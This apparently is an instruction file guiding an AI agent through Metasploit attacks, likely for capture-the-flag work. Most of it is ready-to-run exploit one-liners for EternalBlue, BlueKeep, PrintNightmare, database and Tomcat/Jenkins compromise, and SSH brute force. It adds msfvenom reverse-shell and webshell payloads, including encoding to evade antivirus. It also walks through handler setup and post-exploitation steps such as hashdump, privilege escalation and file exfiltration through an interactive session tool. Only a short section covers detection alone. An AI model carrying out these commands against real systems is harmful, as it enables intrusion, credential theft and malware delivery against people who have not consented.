MSF has two invocation methods, each suited to different scenarios:
| Method | Applicable scenario | Tool |
|---|---|---|
One-liner (msfconsole -q -x) |
Single exploit, vulnerability detection, msfvenom | Execute directly via bash |
Interactive (interactive_session) |
Handler listening, Meterpreter session, post-exploitation | interactive_session MCP tool |
The one-liner is suited to "fire-and-forget" operations—it exits automatically after execution. But handler listening and meterpreter post-exploitation require continuous interaction, which the one-liner cannot do (-x exits after execution,& and backgrounding also prevents reading output). In this case, use interactive_session to start a persistent tmux session, so you can send commands and read output at any time.
Reference materials
- Common exploit module quick reference and payload generation guide → references/msf-modules.md
- Meterpreter sessions, pivoting, and automation → references/meterpreter-operations.md
Phase 1: One-liner basic syntax
# 基本格式：用分号连接多条 MSF 命令
msfconsole -q -x "use EXPLOIT; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# -q = 静默启动（不显示 banner）
# -x = 执行命令字符串
# exit = 执行完退出（重要！否则会挂起）
Complete example: EternalBlue (MS17-010)
msfconsole -q -x "
use exploit/windows/smb/ms17_010_eternalblue;
set RHOSTS 10.0.0.1;
set LHOST 10.0.0.2;
set PAYLOAD windows/x64/meterpreter/reverse_tcp;
set LPORT 4444;
run;
exit
"
msfconsole takes 10-30 seconds to start and load the module library; this is normal.
Phase 2: Common vulnerability exploitation scenarios
2.1 Operating system-level vulnerabilities (most commonly used in Zone 3/4)
# MS17-010 EternalBlue（Windows SMB）
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# MS08-067（Windows Server 2003/XP）
msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# BlueKeep（Windows RDP CVE-2019-0708）
msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS TARGET; set LHOST ATTACKER; set TARGET 2; run; exit"
# PrintNightmare（Windows Print Spooler）
msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
2.2 Database remote exploitation
# PostgreSQL 代码执行（默认口令 postgres/postgres）
msfconsole -q -x "use exploit/multi/postgres/postgres_copy_from_program_cmd_exec; set RHOSTS TARGET; set USERNAME postgres; set PASSWORD postgres; set LHOST ATTACKER; run; exit"
# MySQL UDF 提权（需要已知凭据）
msfconsole -q -x "use exploit/multi/mysql/mysql_udf_payload; set RHOSTS TARGET; set USERNAME root; set PASSWORD ''; set LHOST ATTACKER; run; exit"
# MSSQL xp_cmdshell
msfconsole -q -x "use exploit/windows/mssql/mssql_payload; set RHOSTS TARGET; set USERNAME sa; set PASSWORD password; set LHOST ATTACKER; run; exit"
# Redis 未授权写 SSH key / Webshell
msfconsole -q -x "use exploit/linux/redis/redis_replication_cmd_exec; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
2.3 Web/middleware services
# Tomcat Manager 部署 WAR（需要凭据）
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS TARGET; set RPORT 8080; set HttpUsername tomcat; set HttpPassword tomcat; set LHOST ATTACKER; run; exit"
# JBoss 反序列化
msfconsole -q -x "use exploit/multi/http/jboss_invoke_deploy; set RHOSTS TARGET; set RPORT 8080; set LHOST ATTACKER; run; exit"
# Jenkins Script Console
msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS TARGET; set RPORT 8080; set TARGETURI /; set LHOST ATTACKER; run; exit"
2.4 Network services
# FTP vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS TARGET; run; exit"
# Samba（CVE-2017-7494）
msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# SSH 暴力破解
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS TARGET; set USERNAME root; set PASS_FILE /usr/share/wordlists/rockyou.txt; set STOP_ON_SUCCESS true; run; exit"
Phase 3: Vulnerability detection (detect only, do not exploit)
Use auxiliary/scanner or check commands for safe detection:
# 检测 MS17-010 是否存在（不利用）
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS TARGET; run; exit"
# SMB 版本检测
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS TARGET; run; exit"
# 批量端口服务检测
msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS TARGET; set PORTS 445,3389,1433,3306; run; exit"
# 使用 check 命令（部分 exploit 支持）
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; check; exit"
Phase 4: Payload generation (msfvenom)
msfvenom does not require msfconsole; call it directly via bash:
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell.elf
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.php
# JSP webshell（Tomcat WAR 部署用）
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.py
# 编码绕过（基础免杀）
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe
Phase 5: Handler mode (interactive_session)
The handler needs to keep listening and wait for a callback—the one-liner -x exits after execution and cannot maintain listening. Use interactive_session to start an msfconsole interactive session to solve this problem.
Typical flow: generate payload → start handler → deliver payload → obtain session
Step 1: Generate payload(one-liner, Phase 4)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
Step 2: Start handler(interactive)
interactive_session(action="start", session_name="msf_handler", command="msfconsole -q")
Wait 15-20 seconds for msfconsole to finish loading, then configure the handler:
interactive_session(action="send", session_name="msf_handler", command="use exploit/multi/handler", wait=3)
interactive_session(action="send", session_name="msf_handler", command="set PAYLOAD windows/x64/meterpreter/reverse_tcp", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LHOST 0.0.0.0", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LPORT 4444", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set ExitOnSession false", wait=2)
interactive_session(action="send", session_name="msf_handler", command="exploit -j", wait=5)
The handler is now listening in the background. You can at any time read check whether a session has called back:
interactive_session(action="read", session_name="msf_handler")
Step 3: Deliver payload
Deliver shell.exe to the target and execute it through another vulnerability (file upload, RCE, etc.).
Step 4: Confirm session
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)
After seeing the meterpreter session established, proceed to Phase 6 post-exploitation.
Shortcut: a single -x to start the handler
If you are sure you only need to listen and do not need subsequent interaction, you can also start it with a single command:
interactive_session(action="start", session_name="msf_handler", command="msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit'")
This saves the step of issuing send one by one, but subsequent interaction is still carried out through send/read .
Phase 6: Post-exploitation operations (interactive_session)
After obtaining a meterpreter session, through interactive_session Execute post-exploitation commands. meterpreter is an interactive shell, and can only be fully used in a persistent session. For complex session management, port forwarding, SOCKS, Kiwi, resource scripts, and multiple transports, see references/meterpreter-operations.md。
Enter the session and collect information
interactive_session(action="send", session_name="msf_handler", command="sessions -i 1", wait=3)
interactive_session(action="send", session_name="msf_handler", command="sysinfo", wait=3)
interactive_session(action="send", session_name="msf_handler", command="getuid", wait=3)
interactive_session(action="send", session_name="msf_handler", command="ipconfig", wait=3)
Common post-exploitation operations
# 文件系统操作
interactive_session(action="send", session_name="msf_handler", command="ls C:\\Users\\", wait=3)
interactive_session(action="send", session_name="msf_handler", command="download C:\\flag.txt /tmp/flag.txt", wait=5)
interactive_session(action="send", session_name="msf_handler", command="upload /tmp/tool.exe C:\\temp\\tool.exe", wait=5)
# 凭据提取（需要 SYSTEM 权限）
interactive_session(action="send", session_name="msf_handler", command="hashdump", wait=5)
# 提权
interactive_session(action="send", session_name="msf_handler", command="getsystem", wait=5)
# 网络信息（内网渗透前置）
interactive_session(action="send", session_name="msf_handler", command="arp", wait=3)
interactive_session(action="send", session_name="msf_handler", command="route", wait=3)
# 返回 MSF 主控台（保持 session 存活）
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)
Session management
# 列出所有 sessions
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)
# 切换到另一个 session
interactive_session(action="send", session_name="msf_handler", command="sessions -i 2", wait=3)
# 批量执行低噪声确认命令
interactive_session(action="send", session_name="msf_handler", command="sessions -c whoami", wait=3)
# 返回主控台但保持 session 存活
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)
# 结束操作后关闭 MSF
interactive_session(action="close", session_name="msf_handler")
Alternative: command execution without meterpreter
If you do not need an interactive meterpreter (you just want to execute one command to get the flag), generating a command execution payload is simpler:
msfvenom -p windows/x64/exec CMD="type C:\\flag.txt" -f exe -o cmd.exe
msfvenom -p linux/x64/exec CMD="cat /flag > /tmp/result.txt" -f elf -o cmd.elf
It works with a one-liner handler (no interactive_session needed).
Decision tree: one-liner vs interactive_session
你要用 MSF 做什么？
│
├─ 执行单个 exploit（EternalBlue、Tomcat upload 等）
│ └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 漏洞检测 / auxiliary scanner
│ └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 生成 payload（msfvenom）
│ └→ 直接 bash 调用 msfvenom，不需要 msfconsole
│
├─ 启动 handler 等待反弹 shell
│ └→ interactive_session 启动 msfconsole，配置 handler
│ （handler 需要持续监听，一行式做不到）
│
├─ Meterpreter 后渗透（sysinfo、hashdump、文件操作）
│ └→ interactive_session send/read 交互
│ （meterpreter 是交互式 shell，需要持久会话）
│
├─ 只想执行一条命令拿 flag（不需要交互）
│ └→ msfvenom -p .../exec CMD="..." 生成命令执行 payload
│ 配合一行式 handler 或 nc 监听即可
│
└─ Web 应用漏洞 (SQLi/XSS/SSRF)
└→ 不用 MSF，curl/sqlmap/手动脚本更快
Common troubleshooting
| Symptom | Cause | Solution |
|---|---|---|
| Exploit completed, but no session | Payload is killed/port is occupied | Change the port, change the payload, check the firewall |
| Connection refused | Target port is not open | First use nmap to confirm the port is open |
| msfconsole startup times out | Database connection is slow | Add --no-database or wait |
| Payload cannot connect back | Wrong LHOST/firewall | Confirm that LHOST is an IP reachable by the target |
| interactive_session read is empty | msfconsole is still loading | Set wait to 15-20 seconds, and read again |